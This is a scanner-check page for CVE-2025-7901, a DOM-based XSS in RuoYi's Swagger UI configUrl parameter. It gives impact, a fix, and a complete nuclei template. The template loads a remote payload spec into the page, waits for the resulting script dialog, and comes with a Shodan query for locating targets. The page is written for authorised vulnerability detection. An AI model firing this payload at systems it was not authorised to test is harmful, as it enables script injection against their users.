yangzongzhuan RuoYi - DOM Based XSS

mediumseverity

0.9%likelihood of exploitation, next 30 days

60%of all CVEs are less likely

Readycheck to confirm it

yangzongzhuan RuoYi = 4.8.1 contains a stored XSS caused by manipulation of the \"configUrl\" argument in /swagger-ui/index.html of Swagger UI, letting remote attackers execute scripts, exploit requires crafted request.

Impact

Remote attackers can execute arbitrary scripts in users' browsers, potentially stealing data or performing actions on behalf of users.

Fix

Update to the latest version beyond 4.8.1.

How to confirm it

Positive when: swagger_dom == true AND contains "swagger"

Run it with nuclei: nuclei -id CVE-2025-7901 -u <target>

The full check

id: CVE-2025-7901

info:
  name: yangzongzhuan RuoYi - DOM Based XSS
  author: Nikhil Patidar
  severity: medium
  description: |
    yangzongzhuan RuoYi = 4.8.1 contains a stored XSS caused by manipulation of the \"configUrl\" argument in /swagger-ui/index.html of Swagger UI, letting remote attackers execute scripts, exploit requires crafted request.
  impact: |
    Remote attackers can execute arbitrary scripts in users' browsers, potentially stealing data or performing actions on behalf of users.
  remediation: |
    Update to the latest version beyond 4.8.1.
  reference:
    - https://github.com/yangzongzhuan/RuoYi/issues/293
    - http://nvd.nist.gov/vuln/detail/CVE-2025-7901
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"RuoYi"
  tags: cve,cve2025,headless,ruoyi,xss,swagger,vuln

headless:
  - steps:
      - args:
          url: '{{BaseURL}}/{{swagger_path}}'
        action: navigate

      - action: waitdialog
        name: swagger_dom

    payloads:
      swagger_path:
        - 'swagger-ui/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - swagger_dom == true

      - type: word
        part: body
        words:
          - "swagger"
        case-insensitive: true

References

Use this check only on systems you are authorised to test. Where the data comes from